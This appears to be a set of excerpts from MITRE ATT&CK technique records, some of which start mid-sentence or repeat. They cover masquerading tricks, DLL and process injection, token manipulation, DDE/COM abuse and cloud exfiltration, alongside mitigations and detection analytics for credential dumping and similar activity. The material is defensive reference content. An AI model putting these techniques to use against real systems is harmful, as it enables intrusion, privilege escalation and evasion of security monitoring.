However, if the file is renamed to `evil.txt ` (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\n\n**Detection strategies and analytics.** - **Masquerading via Space After Filename - Behavioral Detection Strategy**\n - Detection of file execution where the file name contains a trailing space to masquerade as a known executable. Adversaries may exploit the way command line interpreters handle file names with trailing whitespace.

This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information.

This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. This mitigation can be implemented through the following measures:\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n- **Password Policies**: Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Privileged Process Integrity**: Privileged Process Integrity focuses on defending highly privileged processes (e.g., system services, antivirus, or authentication processes) from tampering, injection, or compromise by adversaries. These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:\n- **Credential Access Protection**: Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:\n- **Active Directory Configuration**: Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network. This mitigation can be implemented through the following measures:\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Credential Dumping via Sensitive Memory and Registry Access Correlation**\n - Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction. (telemetry: WinEventLog:Sysmon:EventCode=10, WinEventLog:Sysmon:EventCode=1, WinEventLog:Security:EventCode=4663, 4670, 4656)\n - Processes opening /proc/*/mem or /proc/*/maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb. (telemetry: auditd:SYSCALL:open, auditd:SYSCALL:ptrace, auditd:SYSCALL:execve)\n - Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions. (telemetry: macos:unifiedlog:Code Execution & Entitlement Access, macos:keychain:Access to Keychain DB or system.keychain, macos:osquery:Invocation of osascript or dylib injection)\n\n## Tracked users (groups, malware, tools)\n- Ember Bear (intrusion-set): Ember Bear is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st S.\n- APT39 (intrusion-set): APT39 is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computi.\n- Carbanak (malware): Carbanak is a full-featured, remote backdoor used by a group of the same name (Carbanak).\n- MgBot (malware): MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012.\n- Revenge RAT (malware): Revenge RAT is a freely available remote access tool written in.NET (C#).\n- PinchDuke (malware): PinchDuke is malware that was used by APT29 from 2008 to 2010.\n- Poseidon Group (intrusion-set): Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005.\n- OnionDuke (malware): OnionDuke is malware that was used by APT29 from 2013 to 2015.\n- Mustang Panda (intrusion-set): Mustang Panda is a China-based cyber espionage threat actor that has been conducting operations since at least 2012.\n- Tonto Team (intrusion-set): Tonto Team is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by.\n- APT32 (intrusion-set): APT32 is a suspected Vietnam-based threat group that has been active since at least 2014.\n- HOMEFRY (malware): HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors.\n- Suckfly (intrusion-set): Suckfly is a China-based threat group that has been active since at least 2014.\n- BlackByte (intrusion-set): BlackByte is a ransomware threat actor operating since at least 2021.

[…]\n\n## Reference: ATT&CK T1559.001 Component Object Model\n**ATT&CK T1559.001 Component Object Model (full record).** Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. […]\n\n## Reference: ATT&CK T1559.002 Dynamic Data Exchange\n**ATT&CK T1559.002 Dynamic Data Exchange (full record).** Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. […]\n\n## Reference: ATT&CK T1559.003 XPC Services\n**ATT&CK T1559.003 XPC Services (full record).** Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service `C API` or the high level `NSXPCConnection API` in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.\n\n**Classification.** - Tactics: execution\n- Platforms: macOS\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect Abuse of XPC Services (T1559.003)**\n - Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage.

Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **Active Directory Configuration**: Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network.

Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation.\n\nFor example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS, Office Suite, SaaS, Windows\n\n**Detection strategies and analytics.** - **Internal Spearphishing via Trusted Accounts**\n - Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting.

[…]\n\n## Reference: ATT&CK T1535 Unused/Unsupported Cloud Regions\n**ATT&CK T1535 Unused/Unsupported Cloud Regions (full record).** Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.\n\n**Classification.** - Tactics: stealth\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)**\n - Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region). (telemetry: AWS:CloudTrail:RunInstances, AWS:CloudTrail:CreateBucket, CloudTrail:GetCallerIdentity:GetCallerIdentity)\n\n## Reference: ATT&CK T1537 Transfer Data to Cloud Account\n**ATT&CK T1537 Transfer Data to Cloud Account (full record).** Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: IaaS, Office Suite, SaaS\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data.

A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the `/Library/Preferences/com.apple.loginwindow.plist` file and can be modified using the `defaults` command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.\n\nAdversaries can add or insert a path to a malicious script in the `com.apple.loginwindow.plist` file, using the `LoginHook` or `LogoutHook` key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent\n\n## Reference: ATT&CK T1134.002 Create Process with Token\n**ATT&CK T1134.002 Create Process with Token (full record).** Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as `CreateProcessWithTokenW` and `runas`.\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.\n\nWhile this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. […]\n\n## Reference: ATT&CK T1134.003 Make and Impersonate Token\n**ATT&CK T1134.003 Make and Impersonate Token (full record).** Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Behavior‑chain detection for T1134.003 Make and Impersonate Token (Windows)**\n - A process creates a brand‑new logon session/token (LogonUser*/LsaLogonUser) and then assigns/impersonates it (SetThreadToken/ImpersonateLoggedOnUser) to run actions under that freshly created security context. […]\n\n## Reference: ATT&CK T1134.004 Parent PID Spoofing\n**ATT&CK T1134.004 Parent PID Spoofing (full record).** Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `CreateProcess` API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `svchost.exe` or `consent.exe`) rather than the current user context.\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be `explorer.exe` rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `lsass.exe`), causing the new process to be elevated via the inherited access token.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. […]\n\n## Reference: ATT&CK T1134.005 SID-History Injection\n**ATT&CK T1134.005 SID-History Injection (full record).** Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process.\n\n**Mitigations.** - **Active Directory Configuration**: Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)**\n - Detection of unauthorized modification of Active Directory SID-History attributes to escalate privileges. […]\n\n## Reference: ATT&CK T1135 Network Share Discovery\n**ATT&CK T1135 Network Share Discovery (full record).** Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n\nFile sharing over a Windows network occurs over the SMB protocol. Net can be used to query a remote system for available shared drives using the `net view \\\\\\\\remotesystem` command. It can also be used to query shared drives on the local system using `net share`. For macOS, the `sharing -l` command lists all shared points used for smb services.\n\n**Classification.** - Tactics: discovery\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS**\n - Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) → bursts of outbound SMB/RPC connections (445/139, \\\\host\\IPC$ / srvsvc) to many hosts inside a short window → optional follow-on file listing or copy operations.

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities.

DLL injection is a method of executing arbitrary code in the address space of a separate live process.\n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` (which calls the `LoadLibrary` API responsible for loading the DLL).\n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of `LoadLibrary`).\n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's `AddressOfEntryPoint` before starting a new thread in the target process. This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n## Reference: ATT&CK DC0073 Instance Modification\n**ATT&CK DC0073 Instance Modification (full record).** Changes made to a virtual machine (VM) or compute instance, including alterations to its configuration, metadata, attached policies, or operational state.

With certain file types (specifically this does not work with.app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called `evil.bin`, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to `evil.txt`, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to `evil.txt ` (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.\n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.\n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.\n\n## Mitigations\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.\n- **Limit Software Installation**: Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Cross-Platform Behavioral Detection of Python Execution**\n - Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity. (telemetry: WinEventLog:Sysmon:EventCode=1, EDR:hunting:Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents)\n - Detects native Python or framework-based execution from Terminal, embedded apps, or launchd jobs. Flags network calls, persistence writes, or system enumeration after Python launch. (telemetry: macos:unifiedlog:log stream --predicate 'eventMessage contains \"python\"', macos:osquery:process_events, macos:syslog:system.log)\n - Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps). (telemetry: auditd:SYSCALL:execve, linux:syslog:/var/log/syslog)\n - Detects Python script or interpreter execution on ESXi hosts via embedded BusyBox shells, nested installations, or dropped files via SSH or datastore mount. Flags unusual scripting or post-compromise enumeration behavior. (telemetry: esxi:vobd:/var/log/vobd.log, esxi:hostd:/var/log/hostd.log)\n\n## Tracked users (groups, malware, tools)\n- IronNetInjector (tool): IronNetInjector is a Turla toolchain that utilizes scripts from the 